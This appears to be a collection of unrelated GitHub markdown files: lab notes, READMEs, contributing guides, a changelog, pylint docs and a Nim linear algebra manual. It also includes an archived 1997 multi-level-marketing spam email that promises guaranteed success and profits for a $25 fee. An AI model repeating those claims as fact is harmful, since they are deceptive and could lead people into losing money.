text:
# Bus-mall

Credits Omar dyab
Big thanks to :
Sally, Hanaa, and Yazan for their help im improving my code and get it done :).
for the  second part I would liek to thank Israa as well for her help :).

To be checked: button :)

what i learand in this lab
Two random images displaying that are not the same.
keep tracking what users have chosen.
An event listener is needed.

event.target.id
left.image.id

getting the images inside javascript globally.
let rightimageelement=document.getelemetnbyid('rightimage');

let maxatt=25;
let counts=0;
function Goat(name,src)
{this.name=name;
this.src=src;
this.clicks=0;
allimages.push(this);
//or another way
Goat.allimages.push(this);
}
allimages=[]; //our array of objects;
Goat.prototype.allimages=[]; // all shared only for the const and not globally, and its better to use this when having more templates

//insatances:
firstimage=new Goat('cruisin-goat', '../ src of image');

any number multiplied by 1= any number
any number multiplied by less than 1= less than any number

Great tips:
The header is always better to be shared all over your pages.
we use this if we have a prototype.

Remaining questions:
-why we did not have this.source?
its not a prototype
-Clicking outside an image would create a problem with the number of shown images and would affect the analysis
-Shown images have one more extar value as its counting the last image which should not be included  in the analysis

repository: Omardyab/Bus-mall

repo_name: Omardyab/Bus-mall


text:
---
layout: default
---

# 1997-04-19 - Diamond K

## Header Data

From<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: 84cbd7ab2056023186e2f7a2d7704af3d24292ec31d80b868d52439eff6faf32

Message ID: \<RAF1.1_19/04/97<EMAIL_ADDRESS>Reply To: _N/A_

UTC Datetime: 1997-04-19 01:06:32 UTC

Raw Date: Fri, 18 Apr 1997 18:06:32 -0700 (PDT)

## Raw message

```
{% raw  %}From<EMAIL_ADDRESS>Date: Fri, 18 Apr 1997 18:06:32 -0700 (PDT)
To<EMAIL_ADDRESS>Subject: Diamond K
Message-ID: <RAF1.1_19/04/97<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

Hi
	Can any company guarantee you success?  WE CAN!!! Find out how 97% who
fail with MLMs can make money with our TEAM!  You can earn income from 12
MLM companies without having to sponsor anyone into those companies, all
for the price of a dinner.  You will have the products paid by our team!
Every member is guaranteed to succeed!  Experience the power of Diamond K
Success Teams Inc.
(Information on free webpage included in form located at
http://www.soos.com/diamondk/brian.html)
	Ever joined those MLMs which seem to pay the company and not you?
	Tired of recruiting just to make profits?
	Then take a look at this company ---->

			No Monthly fees to pay
			No monthly quotas to meet
			One time US$25.00 enrollment fee gets you into the 12 companies
			Benefit from Spillover
			No recruiting required unless you want to
			No need to sponsor large numbers of people to be in profit
			Be in profit just sponsoring 4 people
Only 3 requirements
	1) US$25.00 for the first year
	2) Complete level 1 with 4 members in you downline ----> generated from
spillover
	3) US$99.00 for the second year for 120MLM leads which come out from your
profits

if you have any question contact me at<EMAIL_ADDRESS>
If you would like to join please obtain registration form from
http://www.soos.com/diamondk/brian.html

Information on free webpage is included inform

PS thanks for reading this message, I'm currently looking for a bank where
the interest rate is high about      20% I've sent for the information and
will gladly share it with you
<EMAIL_ADDRESS>*********************************************************
http://www.geocities.com/wallstreet/floor/2875
http://www.geocities.com/eureka/2898
*********************************************************

Diamond K<EMAIL_ADDRESS>set your browser to this site now  and make $$$$ tomorrow

{% endraw %}
```

## Thread

+ Return to [April 1997](/archive/1997/04)

+ Return to "[do@not.reply.com](/authors/do_at_not_reply_com)"

+ 1997-04-19 (Fri, 18 Apr 1997 18:06:32 -0700 (PDT)) - Diamond K -<EMAIL_ADDRESS>

license: MIT

branch_name: refs/heads/master

extension: md

gha_license_id: MIT

license_type: permissive


text:
# akka-net-cluster-graceful-shutdown-samples
Shows a seed node and some workers which should gracefully leave the cluster when terminating:

* a console app (node1)
* an ASP.NET core app (node2)
* a TopShelf hosted app (node3)

They do nothing but join the cluster and leave it when terminating as intented.

Currently using Akka.Cluster 1.1.0.

The samples use log4net and Wire serialization.

Solution file is currently inside of ClusterNode1... could be cleaned up.


text:
## E1135 (unsupported-membership-test)

### :x: Problematic code:

```python
class Foo:
    def __init__(self, numbers):
        self.numbers = numbers

foo = Foo([1, 2, 3, 4])
print(1 in foo)
```

### :heavy_check_mark: Correct code:

```python
class Foo:
    def __init__(self, numbers):
        self.numbers = numbers

    def __contains__(self, value):
        return value in self.numbers

foo = Foo([1, 2, 3, 4])
print(1 in foo)
```

### Rationale:

Emitted when an instance in membership test expression doesn't implement
membership protocol (`__contains__`/`__iter__`/`__getitem__`).

### Related resources:

- [Issue Tracker](https://github.com/PyCQA/pylint/issues?q=is%3Aissue+%22unsupported-membership-test%22+OR+%22E1135%22)

repository: aidenmitchell/pylint-errors-simplified

branch_name: refs/heads/main

repo_name: aidenmitchell/pylint-errors-simplified


text:
# Contributing

Thanks for being willing to contribute!

**Working on your first Pull Request?** You can learn how from this _free_
series [How to Contribute to an Open Source Project on GitHub](https://egghead.io/series/how-to-contribute-to-an-open-source-project-on-github)

## License

By contributing to this project, you agree that your contributions will be licensed under its MIT license.

## Code of Conduct

This project has adopted the [Contributor Covenant](https://www.contributor-covenant.org/) as its Code of Conduct, and we expect project participants to adhere to it. Please read [the full text](https://github.com/katawaredev/config/blob/master/CODE_OF_CONDUCT.md) so that you can understand what actions will and will not be tolerated.

Following these guidelines helps to communicate that you respect the time of the developers managing and developing this open source project. In return, they should reciprocate that respect in addressing your issue, assessing changes, and helping you finalize your pull requests.

## System Requirements

- [git](https://git-scm.com/) v2 or greater
- [NodeJS](https://nodejs.org) v8 or greater
- [npm](https://www.npmjs.com/) v6 or greater

All of these must be available in your `PATH`. To verify things are set up
properly, you can run this:

```shell
git --version
node --version
npm --version
```

## Project setup

1. Fork and clone the repo
2. Run `npm install` to install dependencies
3. Create a branch for your PR with `git checkout -b pr/your-branch-name`

> Tip: Keep your `master` branch pointing at the original repository and make
> pull requests from branches on your fork. To do this, run:
>
> ```shell
> git remote add upstream https://github.com/katawaredev/config.git
> git fetch upstream
> git branch --set-upstream-to=upstream/master master
> ```
>
> This will add the original repository as a "remote" called "upstream," Then
> fetch the git information from that remote, then set your local `master`
> branch to use the upstream master branch whenever you run `git pull`. Then you
> can make all of your pull request branches based on this `master` branch.
> Whenever you want to update your version of `master`, do a regular `git pull`.

## Git Commit Guidelines

In order to have **more readable messages** that are easy to follow when looking through the **project history**, this project follows [conventional commits](https://www.conventionalcommits.org/) specification. Improperly formatted commit messages may result in your change not appearing in the changelog.

## Issues

### Where to Find Known Issues

Please checkout the [the open issues](https://github.com/katawaredev/config/issues)

### Reporting New Issues

1. Update to the most recent master release if possible. We may have already fixed your bug.
2. Search for similar issues. It's possible somebody has encountered this problem already.
3. Make sure you provide very specific steps to reproduce the error. If we cannot reproduce it, we will close the ticket.
4. If possible, submit a Pull Request with a failing test.
5. If you decide to fix an issue, please be sure to check the comment thread in case somebody is already working on a fix. If nobody is working on it at the moment, please leave a comment stating that you intend to work on it so other people don't accidentally duplicate your effort. If somebody claims an issue but doesn't follow up for more than two weeks, it's fine to take it over but you should still leave a comment.
6. The more information you provide, the easier it is for us to validate that there is a bug and the faster we'll be able to take action.

### Security Bugs

If you find a security vulnerability, do NOT open an issue. Email [support<EMAIL_ADDRESS>instead.

### Issue Labeling

Issues are labeled according to [StandardIssueLabels](https://github.com/wagenet/StandardIssueLabels).

### Proposing a Change

If you find yourself wishing for a feature that doesn't exist, you are probably not alone. There are bound to be others out there with similar needs. Open an issue on our issues list on GitHub which describes the feature you would like to see, why you need it, and how it should work.

You can show your support for (or against!) features by using GitHub reactions or by adding meaningful details which help the feature definition become more clear.

## Fixing bugs

If you're only fixing a bug, it's fine to submit a pull request right away but we still recommend to file an issue detailing what you're fixing. This is helpful in case we don't accept that specific fix but want to keep track of the issue.

## Help wanted

This is an open source project and we love to receive contributions from our community — you! There are many ways to contribute, from writing tutorials or blog posts, improving the documentation, submitting bug reports and feature requests or writing code which can be incorporated into future versions.

repository: katawaredev/config

gha_language: JavaScript

repo_name: katawaredev/config


text:
---
page_type: sample
languages:
- azurecli
- python
products:
- azure-machine-learning
description: How to use AutoML `Regression` inside pipeline?
---

# AutoML Regression task in pipeline

This sample explains how to use `Regression` AutoML task to train model and predict house pricing inside pipeline.

Submit the Pipeline Job with regression task:
```
az ml job create -f pipeline.yml
```

repository: Azure/azureml-examples

gha_language: Jupyter Notebook

repo_name: Azure/azureml-examples


text:
# Changes

## v0.2.1 - 18-09-2016

  * pulled in mac os x support by @ztalbot2000 28-06-2014
    * fixed all compile warnings
    * Added -m32 compile option
    * fixed segfault when running mtl_comp with invalid args
    * Changed output so size is CAPITAL hex value to make absolutely no
      differences when comparing compiled .mtl file and original bc.jsp file

## v0.1.1 - 17-09-2016

  * file cleanup fix spelling
  * update readme on how to use/run examples
  * proper usage of bundler

## v0.1.0 - xx-09-2012

  * files restructured, separation byte & ruby code
  * update server for generic structure, added callback
  * mtl binaries respect defaults from local `.mtlrc` file

## v0.0.2 - 29-01-2012

  * rename to NabaztagHackKit
  * moved rake task to binaries
  * fixed tests

## v0.0.1 - 28-01-2012

  * inital release

repository: rngtng/NabaztagHackKit

gha_language: Ruby

repo_name: rngtng/NabaztagHackKit


text:
# DNS Resolver Testing

The intent of this script and docker file is to test geo-location of DNS resolution.  Many providers do this in different ways, and we need to be able to test that data.

# Usage

## Local

Set your ENV.  You can provide a `<environment>.env` file and pass that to the run_test.sh script:

```
./run_test.sh example
```

This will run the docker container, but mount the script to it from local for testing.

## Docker

You can run this anywhere using docker.  Just pass an env file like the example.

```
docker run -itd --name resolver --env-file example.env readytalk/dns-geo-analyzer:latest
```

Note the nameserver and sites have the format <shortname>,<dns/ip>.  This is to avoid having dots in the metric names for ES

## Kubernetes & Prometheus

This is setup to also run as a prometheus endpoint.  There is an example daemonset so that you can run it on as many nodes as possible.  Enable the PROMETHEUS_PORT to start a server on that port.  The annotation on the daemonset coupled with the port specification will allow prometheus to scan it.  See the code or the endpoint for details about the metrics available.

## Options

### IP Geolocation

You can enable this by setting the IPSTACK_API_KEY env variable.  This will use your api key to lookup geolocation data.

WARNING: This will use up your API calls.  Don't make too many like I did an destroy your API limit in 2 days.

### Elasticsearch

Set the ES_ENDPOINT and ES_INDEX to send these json objects to elasticsearch.  Currently uses ES version 5.0, but could easily work with 6.0 by modifying the requirements.txt

### REQUEST_INTERVAL

This will control how often the server makes requests and queries.  It is number of seconds.

### DNS_TIMEOUT

The nubmer of seconds that a DNS query will wait to timeout

## NOTES

The format of the ENV is very specific.  The short names are used so that we don't have dots in the keys, which makes the data ugly in ES

repository: ReadyTalk/dns-geo-analyzer

repo_name: ReadyTalk/dns-geo-analyzer


text:
# Contributing

Welcome and thank you for considering contributing to this project!

Please read and follow these guidelines to ensure a smooth contribution process.

## Table of Contents

* [Code of Conduct](#code-of-conduct)
* [Getting Started](#getting-started)
    * [Issues](#issues)
    * [Pull Requests](#pull-requests)

## Code of Conduct

By contributing to this project, you agree to uphold our [Code of Conduct](https://github.com/tibobrc/Blinkist2Readwise/blob/main/CODE_OF_CONDUCT.md).

## Getting Started

Contributions are made to this repo via Issues and Pull Requests (PRs).
Please search for existing Issues and PRs before creating your own.

### Issues

Issues should be used to report problems with the script, request a new feature, or to discuss potential changes before a PR is created.

If you find an Issue that addresses the problem you're having, please add your own reproduction information to the existing issue rather than creating a new one. Adding a reaction can also help indicating to our maintainers that a particular problem is affecting more than just the reporter.

### Pull Requests

Please follow these steps to submit your PR:

1. Fork the repository to your own Github account
2. Clone the project to your machine
3. Create a new branch locally
4. Commit changes to the branch
5. Push changes to the branch
6. Open a Pull request in our repository

repository: tibobrc/Blinkist-to-Readwise

repo_name: tibobrc/Blinkist-to-Readwise


text:
# TensorFlow NLP Modelling Toolkit

This codebase provides a Natrual Language Processing modeling toolkit written in
[TF2](https://www.tensorflow.org/guide/effective_tf2). It allows researchers and
developers to reproduce state-of-the-art model results and train custom models
to experiment new research ideas.

## Features

* Reusable and modularized modeling building blocks
* State-of-the-art reproducible
* Easy to customize and extend
* End-to-end training
* Distributed trainable on both GPUs and TPUs

## Major components

### Libraries

We provide modeling library to allow users to train custom models for new
research ideas. Detailed intructions can be found in READMEs in each folder.

* [modeling/](modeling): modeling library that provides building blocks (e.g., Layers, Networks, and Models) that can be assembled into transformer-based achitectures .
* [data/](data): binaries and utils for input preprocessing, tokenization, etc.

### State-of-the-Art models and examples

We provide SoTA model implementations, pre-trained models, training and
evaluation examples, and command lines. Detail instructions can be found in the
READMEs for specific papers.

1. [BERT](bert): [BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding](https://arxiv.org/abs/1810.04805) by Devlin et al., 2018
2. [ALBERT](albert): [A Lite BERT for Self-supervised Learning of Language Representations](https://arxiv.org/abs/1909.11942) by Lan et al., 2019
3. [XLNet](xlnet): [XLNet: Generalized Autoregressive Pretraining for Language Understanding](https://arxiv.org/abs/1906.08237) by Yang et al., 2019
4. [Transformer for translation](transformer): [Attention Is All You Need](https://arxiv.org/abs/1706.03762) by Vaswani et al., 2017
5. [NHNet](nhnet): [Generating Representative Headlines for News Stories](https://arxiv.org/abs/2001.09386) by Gu et al, 2020

repository: pkulzc/models

repo_name: pkulzc/models


text:
---
title: ToastAndroid
---

ToastAndroid module provides simple feedback in the small popup.

## Example of use

### default

```reason
ToastAndroid.show("A pikachu appeared nearby !", ToastAndroid.SHORT);
```

### show with gravity

````reason
ToastAndroid.showWithGravity(
  "All Your Base Are Belong To Us",
  ToastAndroid.SHORT,
  ToastAndroid.CENTER
);

### show with gravity and add offset

```reason
ToastAndroid.showWithGravityAndOffset(
  "A wild toast appeared!",
  ToastAndroid.LONG,
  ToastAndroid.BOTTOM,
  25,
  50
);
````

## Methods

### show

```reason
type duration =
  | BOTTOM
  | CENTER;
  | LONG
  | SHORT
  | TOP

(string, duration) => unit;
```

### showWithGravity

```reason
type gravity =
  | BOTTOM
  | CENTER;
  | TOP

let showWithGravity: (string, duration, gravity) => unit;
```

### showGravityAndOffset

```reason
type gravity =
 | BOTTOM
 | CENTER;
 | TOP

let showWithGravityAndOffset: (string, duration, gravity, int, int) => unit;
```

## Properties

- `BOTTOM`

```reason
  ToastAndroid.BOTTOM
```

- `CENTER`

```reason
  ToastAndroid.CENTER
```

- `LONG`

```reason
  ToastAndroid.LONG
```

- `SHORT`

```reason
  ToastAndroid.SHORT
```

- `TOP`

```reason
  ToastAndroid.TOP
```

gha_license_id: NOASSERTION


text:
#Linear Algebra for Nim

[![nimble](https://raw.githubusercontent.com/yglukhov/nimble-tag/master/nimble.png)](https://github.com/yglukhov/nimble-tag)

**This library is not mantained anymore. It still works fine, but new
development happens on [Neo](https://andreaferretti.github.io/neo/). The main
difference between the two libraries is that Neo only focuses in what we call
here dynamic vectors and matrices. Using static types to encode dimensions
was a nice experiment, but it turned out to be one more dimension to support
(along with 32 vs 64 bit, CPU vs GPU, dense vs sparse...).**

This library is meant to provide basic linear algebra operations for Nim
applications. The ambition would be to become a stable basis on which to
develop a scientific ecosystem for Nim, much like Numpy does for Python.

The library has been tested on Ubuntu Linux 14.10 through 15.10 64-bit using
either ATLAS, OpenBlas or Intel MKL. It was also tested on OSX Yosemite. The
GPU support has been tested using NVIDIA CUDA 7.0 and 7.5.

The library is currently aligned with latest Nim devel. For versions of Nim up
to 0.13 use version 0.4.2 of linalg.

API documentation is [here](http://andreaferretti.github.io/linear-algebra/api.html)

A lot of examples are available in the tests.

Table of contents
-----------------
<!-- TOC depthFrom:2 depthTo:6 withLinks:1 updateOnSave:1 orderedList:0 -->

- [Introduction](#introduction)
- [Initialization](#initialization)
- [Working with 32-bit](#working-with-32-bit)
- [Accessors](#accessors)
- [Iterators](#iterators)
- [Equality](#equality)
- [Pretty-print](#pretty-print)
- [Operations](#operations)
- [Trivial operations](#trivial-operations)
- [Universal functions](#universal-functions)
- [Linear Algebra functions](#linear-algebra-functions)
- [Rewrite rules](#rewrite-rules)
- [Type safety guarantees](#type-safety-guarantees)
- [Linking BLAS implementations](#linking-blas-implementations)
- [GPU support](#gpu-support)
- [TODO](#todo)
- [Contributing](#contributing)

<!-- /TOC -->

## Introduction

The library revolves around operations on vectors and matrices of floating
point numbers. It allows to compute operations either on the CPU or on the
GPU offering identical APIs. Also, whenever possible, the dimension of vectors
and matrices are encoded into the types in the form of `static[int]` type
parameters. This allow to check dimensions at compile time and refuse to
compile invalid operations, such as summing two vectors of different sizes,
or multiplying two matrices of incompatible dimensions.

The library defines types `Matrix64[M, N]` and `Vector64[N]` for 64-bit matrices
and vectors of static dimension, as well as their 32-bit counterparts
`Matrix32[M, N]` and `Vector32[N]`.

For the case where the dimension is not known at compile time, one can use
so-called *dynamic* vectors and matrices, whose types are `DVector64` and
`DMatrix64` (resp. `DVector32` and `DMatrix32`). Note that `DVector64` is just
and alias for `seq[float64]` (and similarly for 32-bit), which allows to
perform linear algebra operations on standard Nim sequences.

**In all examples, types are inferred, and are shown just for explanatory purposes.**

## Initialization

Here we show a few ways to create matrices and vectors. All matrices methods
accept a parameter to define whether to store the matrix in row-major (that is,
data are laid out in memory row by row) or column-major order (that is, data
are laid out in memory column by column). The default is in each case
column-major.

Whenever possible, we try to deduce whether to use 32 or 64 bits by appropriate
parameters. When this is not possible, there is an optional parameter `float32`
that can be passed to specify the precision (the default is 64 bit).

Static matrices and vectors can be created like this:

```nim
import linalg

let
  v1: Vector64[5] = makeVector(5, proc(i: int): float64 = (i * i).float64)
  v2: Vector64[7] = randomVector(7, max = 3.0) # max is optional, default 1
  v3: Vector64[5] = constantVector(5, 3.5)
  v4: Vector64[8] = zeros(8)
  v5: Vector64[9] = ones(9)
  v6: Vector64[5] = vector([1.0, 2.0, 3.0, 4.0, 5.0]) # initialize from an array...
  m1: Matrix64[6, 3] = makeMatrix(6, 3, proc(i, j: int): float64 = (i + j).float64)
  m2: Matrix64[2, 8] = randomMatrix(2, 8, max = 1.6) # max is optional, default 1
  m3: Matrix64[3, 5] = constantMatrix(3, 5, 1.8, order = rowMajor) # order is optional, default colMajor
  m4: Matrix64[3, 6] = ones(3, 6)
  m5: Matrix64[5, 2] = zeros(5, 2)
  m6: Matrix64[7, 7] = eye(7)
  m7: Matrix64[2, 3] = matrix([
    [1.2, 3.5, 4.3],
    [1.1, 4.2, 1.7]
  ])
  m8: Matrix64[2, 3] = matrix(@[
    @[1.2, 3.5, 4.3],
    @[1.1, 4.2, 1.7]
  ], 2, 3)
```

The last `matrix` constructor takes a `seq` of `seq`s, but also requires
statically passing the dimensions to be used. The following are equivalent
when `xs` is a `seq[seq[float64]]` and `M`, `N` are integers known at compile
time:

```nim
let
  m1 = matrix(xs).toStatic(M, N)
  m2 = matrix(xs, M, N)
```

but the latter form avoids the construction of an intermediate matrix.

All constructors that take as input an existing array or seq perform a copy of
the data for memory safety.

Dynamic matrices and vectors have similar constructors - the difference is that
the dimension parameter are not known at compile time:

```nim
import linalg

let
  M = 5
  N = 7
  v1: DVector64 = makeVector(M, proc(i: int): float64 = (i * i).float64)
  v2: DVector64 = randomVector(N, max = 3.0) # max is optional, default 1
  v3: DVector64 = constantVector(M, 3.5)
  v4: DVector64 = zeros(M)
  v5: DVector64 = ones(N)
  v6: DVector64 = @[1.0, 2.0, 3.0, 4.0, 5.0] # DVectors are just seqs...
  m1: DMatrix64 = makeMatrix(M, N, proc(i, j: int): float64 = (i + j).float64)
  m2: DMatrix64 = randomMatrix(M, N, max = 1.6) # max is optional, default 1
  m3: DMatrix64 = constantMatrix(M, N, 1.8, order = rowMajor) # order is optional, default colMajor
  m4: DMatrix64 = ones(M, N)
  m5: DMatrix64 = zeros(M, N)
  m6: DMatrix64 = eye(M)
  m7: DMatrix64 = matrix(@[
    @[1.2, 3.5, 4.3],
    @[1.1, 4.2, 1.7]
  ])
```

If for some reason you want to create a dynamic vector of matrix, but you want
to write literal dimensions, you can either assign these numbers to variables
or use the `toDynamic` proc to convert the static instances to dynamic ones:

```nim
import linalg

let
  M = 5
  v1 = makeVector(M, proc(i: int): float64 = (i * i).float64)
  v2 = makeVector(5, proc(i: int): float64 = (i * i).float64)

assert v1.toStatic(5) == v2
assert v2.toDynamic == v1
```

## Working with 32-bit

One can also instantiate 32-bit matrices and vectors. Whenever possible, the
API is identical. In cases that would be ambiguous (such as `zeros`), one can
explicitly specify the `float32` parameter.

```nim
import linalg

let
  v1: Vector32[5] = makeVector(5, proc(i: int): float32 = (i * i).float32)
  v2: Vector32[7] = randomVector(7, max = 3'f32) # max is no longer optional, to distinguish 32/64 bit
  v3: Vector32[5] = constantVector(5, 3.5'f32)
  v4: Vector32[8] = zeros(8, float32)
  v5: Vector32[9] = ones(9, float32)
  v6: Vector32[5] = vector([1'f32, 2'f32, 3'f32, 4'f32, 5'f32])
  m1: Matrix32[6, 3] = makeMatrix(6, 3, proc(i, j: int): float32 = (i + j).float32)
  m2: Matrix32[2, 8] = randomMatrix(2, 8, max = 1.6'f32)
  m3: Matrix32[3, 5] = constantMatrix(3, 5, 1.8'f32, order = rowMajor) # order is optional, default colMajor
  m4: Matrix32[3, 6] = ones(3, 6, float32)
  m5: Matrix32[5, 2] = zeros(5, 2, float32)
  m6: Matrix32[7, 7] = eye(7, float32)
  m7: Matrix32[2, 3] = matrix([
    [1.2'f32, 3.5'f32, 4.3'f32],
    [1.1'f32, 4.2'f32, 1.7'f32]
  ])
  m8: Matrix32[2, 3] = matrix(@[
    @[1.2'f32, 3.5'f32, 4.3'f32],
    @[1.1'f32, 4.2'f32, 1.7'f32]
  ], 2, 3)
```

Similarly,

```nim
import linalg

let
  M = 5
  N = 7
  v1: DVector32 = makeVector(M, proc(i: int): float32 = (i * i).float32)
  v2: DVector32 = randomVector(N, max = 3'f32) # max is not optional
  v3: DVector32 = constantVector(M, 3.5'f32)
  v4: DVector32 = zeros(M, float32)
  v5: DVector32 = ones(N, float32)
  v6: DVector32 = @[1'f32, 2'f32, 3'f32, 4'f32, 5'f32] # DVectors are just seqs...
  m1: DMatrix32 = makeMatrix(M, N, proc(i, j: int): float32 = (i + j).float32)
  m2: DMatrix32 = randomMatrix(M, N, max = 1.6'f32) # max is not optional
  m3: DMatrix32 = constantMatrix(M, N, 1.8'f32, order = rowMajor) # order is optional, default colMajor
  m4: DMatrix32 = ones(M, N, float32)
  m5: DMatrix32 = zeros(M, N, float32)
  m6: DMatrix32 = eye(M, float32)
  m7: DMatrix32 = matrix(@[
    @[1.2'f32, 3.5'f32, 4.3'f32],
    @[1.1'f32, 4.2'f32, 1.7'f32]
  ])
```

One can convert precision with `to32` or `to64`:

```nim
let
  v64: Vector64[10] = randomVector(10)
  v32: Vector32[10] = v64.to32()
  m32: Matrix32[3, 8] = randomMatrix(3, 8, max = 1'f32)
  m64: Matrix64[3, 8] = m32.to64()
```

Once vectors and matrices are created, everything is inferred, so there are no
differences in working with 32-bit or 64-bit. All examples that follow are for
64-bit, but they would work as well for 32-bit.

## Accessors

Vectors can be accessed as expected:

```nim
var v = randomVector(6)
v[4] = 1.2
echo v[3]
```

Same for matrices, where `m[i, j]` denotes the item on row `i` and column `j`,
regardless of the matrix order:

```nim
var m = randomMatrix(3, 7)
m[1, 3] = 0.8
echo m[2, 2]
```

Also one can see rows and columns as vectors

```nim
let
  r2: Vector64[7] = m.row(2)
  c5: Vector64[3] = m.column(5)
```

For memory safety, this performs a **copy** of the row or column values, at
least for now. One can also map vectors and matrices via a proc:

```nim
let
  v1 = v.map(proc(x: float64): float64 = 2 - 3 * x)
  m1 = m.map(proc(x: float64): float64 = 1 / x)
```

Similar operations are available for dynamic matrices and vectors as well.

## Iterators

One can iterate over vector or matrix elements, as well as over rows and columns

```nim
let
  v = randomVector(6)
  m = randomMatrix(3, 5)
for x in v: echo x
for i, x in v: echo i, x
for x in m: echo x
for t, x in m:
  let (i, j) = t
  echo i, j, x
for row in m.rows:
  echo row[0]
for column in m.columns:
  echo column[1]
```

## Equality

There are two kinds of equality. The usual `==` operator will compare the
contents of vector and matrices exactly

```nim
let
  u = vector([1.0, 2.0, 3.0, 4.0])
  v = vector([1.0, 2.0, 3.0, 4.0])
  w = vector([1.0, 3.0, 3.0, 4.0])
u == v # true
u == w # false
```

Usually, though, one wants to take into account the errors introduced by
floating point operations. To do this, use the `=~` operator, or its
negation `!=~`:

```nim
let
  u = vector([1.0, 2.0, 3.0, 4.0])
  v = vector([1.0, 2.000000001, 2.99999999, 4.0])
u == v # false
u =~ v # true
```

## Pretty-print

Both vectors and matrix have a pretty-print operation, so one can do

```nim
let m = randomMatrix(3, 7)
echo m8
```

and get something like

    [ [ 0.5024584865674662  0.0798945419892334  0.7512423051567048  0.9119041361916302  0.5868388894943912  0.3600554448403415  0.4419034543022882 ]
      [ 0.8225964245706265  0.01608615513584155 0.1442007939324697  0.7623388321096165  0.8419745686508193  0.08792951865247645 0.2902529012579151 ]
      [ 0.8488187232786935  0.422866666087792 0.1057975175658363  0.07968277822379832 0.7526946339452074  0.7698915909784674  0.02831893268471575 ] ]

## Operations

A few linear algebra operations are available, wrapping BLAS libraries:

```nim
var v1 = randomVector(7)
let
  v2 = randomVector(7)
  m1 = randomMatrix(6, 9)
  m2 = randomMatrix(9, 7)
echo 3.5 * v1
v1 *= 2.3
echo v1 + v2
echo v1 - v2
echo v1 * v2 # dot product
echo v1 |*| v2 # Hadamard (component-wise) product
echo l_1(v1) # l_1 norm
echo l_2(v1) # l_2 norm
echo m2 * v1 # matrix-vector product
echo m1 * m2 # matrix-matrix product
echo m1 |*| m2 # Hadamard (component-wise) product
echo max(m1)
echo min(v2)
```

## Trivial operations

The following operations do not change the underlying memory layout of matrices
and vectors. This means they run in very little time even on big matrices, but
you have to pay attention when mutating matrices and vectors produced in this
way, since the underlying data is shared.

```nim
let
  m1 = randomMatrix(6, 9)
  m2 = randomMatrix(9, 6)
  v1 = randomVector(9)
echo m1.t # transpose, done in constant time without copying
echo m1 + m2.t
let m3: Matrix64[9, 6] = m1.reshape(9, 6)
let m4: Matrix64[3, 3] = v1.asMatrix(3, 3)
let v2: Vector64[54] = m2.asVector
```

In case you need to allocate a copy of the original data, say in order to
transpose a matrix and then mutate the transpose without altering the original
matrix, a `clone` operation is available:

```nim
let m5 = m1.clone
```

## Universal functions

Universal functions are real-valued functions that are extended to vectors
and matrices by working element-wise. There are many common functions that are
implemented as universal functions:

```nim
sqrt
cbrt
log10
log2
log
exp
arccos
arcsin
arctan
cos
cosh
sin
sinh
tan
tanh
erf
erfc
lgamma
tgamma
trunc
floor
ceil
degToRad
radToDeg
```

This means that, for instance, the following check passes:

```nim
  let
    v1 = vector([1.0, 2.3, 4.5, 3.2, 5.4])
    v2 = log(v1)
    v3 = v1.map(log)

  assert v2 == v3
```

Universal functions work both on 32 and 64 bit precision, on vectors and
matrices, both static and dynamic.

If you have a function `f` of type `proc(x: float64): float64` you can use

```nim
makeUniversal(f)
```

to turn `f` into a (public) universal function. If you do not want to export
`f`, there is the equivalent template `makeUniversalLocal`.

## Linear Algebra functions

Some linear algebraic functions are included, currently for solving systems of
linear equations of the form Ax = b, for square matrices A. Functions to invert
square invertible matrices are also provided. These throw floating-point errors
in the case of non-invertible matrices.

At the moment, only static matrices are supported for system solution and
matrix inversion.

## Rewrite rules

A few rewrite rules allow to optimize a chain of linear algebra operations
into a single BLAS call. For instance, if you try

```nim
import linalg/rewrites

echo v1 + 5.3 * v2
```

this is not implemented as a scalar multiplication followed by a sum, but it
is turned into a single function call.

## Type safety guarantees

The library is designed with the use case of having dimensions known at compile
time, and leverages the compiles to ensure that dimensions match when performing
the appropriate operations - for instance in matrix multiplication.

To see some examples where the compiler avoids malformed operations, look
inside `tests/compilation` (yes, in Nim one can actually test that some
operations do not compile!).

Also, operations that mutate a vector of matrix in place are only available if
that vector of matrix is defined via `var` instead of `let`.

## Linking BLAS implementations

The library requires to link some BLAS implementation to perform the actual
linear algebra operations. By default, it tries to link whatever is the default
system-wide BLAS implementation.

A few compile flags are available to link specific BLAS implementations

    -d:atlas
    -d:openblas
    -d:mkl
    -d:mkl -d:threaded

Packages for various BLAS implementations are available from the package
managers of many Linux distributions. On OSX one can add the brew formulas
from [Homebrew Science](https://github.com/Homebrew/homebrew-science), such
as `brew install homebrew/science/openblas`.

You may also need to add suitable paths for the includes and library dirs.
On OSX, this should do the trick

```nim
switch("clibdir", "/usr/local/opt/openblas/lib")
switch("cincludes", "/usr/local/opt/openblas/include")
```

If you have problems with MKL, you may want to link it statically. Just pass
the options

```nim
--dynlibOverride:mkl_intel_lp64
--passL:${PATH_TO_MKL}/libmkl_intel_lp64.a
```

to enable static linking.

## GPU support

It is possible to delegate work to the GPU using CUDA. The library has been
tested to work with NVIDIA CUDA 7.0 and 7.5, but it is possible that earlier
versions will work as well. In order to compile and link against CUDA, you
should make the appropriate headers and libraries available. If they are not
globally set, you can pass suitable options to the Nim compiler, such as

    --cincludes:"/usr/local/cuda/targets/x86_64-linux/include" \
    --clibdir:"/usr/local/cuda/targets/x86_64-linux/lib"

You will also need to explicitly add `linalg` support for CUDA with the flag

    -d:cublas

If you have a matrix or vector, you can move it on the GPU, and back
like this:

```nim
let
  v: Vector32[12] = randomVector(12, max=1'f32)
  vOnTheGpu: CudaVector[12] = v.gpu()
  vBackOnTheCpu: Vector32[12] = vOnTheGpu.cpu()
```

Vectors and matrices on the GPU support linear-algebraic operations via cuBLAS,
exactly like their CPU counterparts. A few operation - such as reading a single
element - are not supported, as it does not make much sense to copy a single
value back and forth from the GPU. Usually it is advisable to move vectors
and matrices to the GPU, make as many computations as possible there, and
finally move the result back to the CPU.

The following are all valid operations, assuming `v` and `w` are vectors on the
GPU, `m` and `n` are matrices on the GPU and the dimensions are compatible:

```nim
v * 3'f32
v + w
v -= w
m * v
m - n
m * n
```

For more information, look at the tests in `tests/cuda`.

## TODO

* Add support for matrices and vector on the stack
* Add more functional interfaces (foldl, scanl)
* Use rewrite rules to optimize complex operations into a single BLAS call
* More specialized BLAS operations
* Add operations from LAPACK
* Support slicing/nonconstant steps
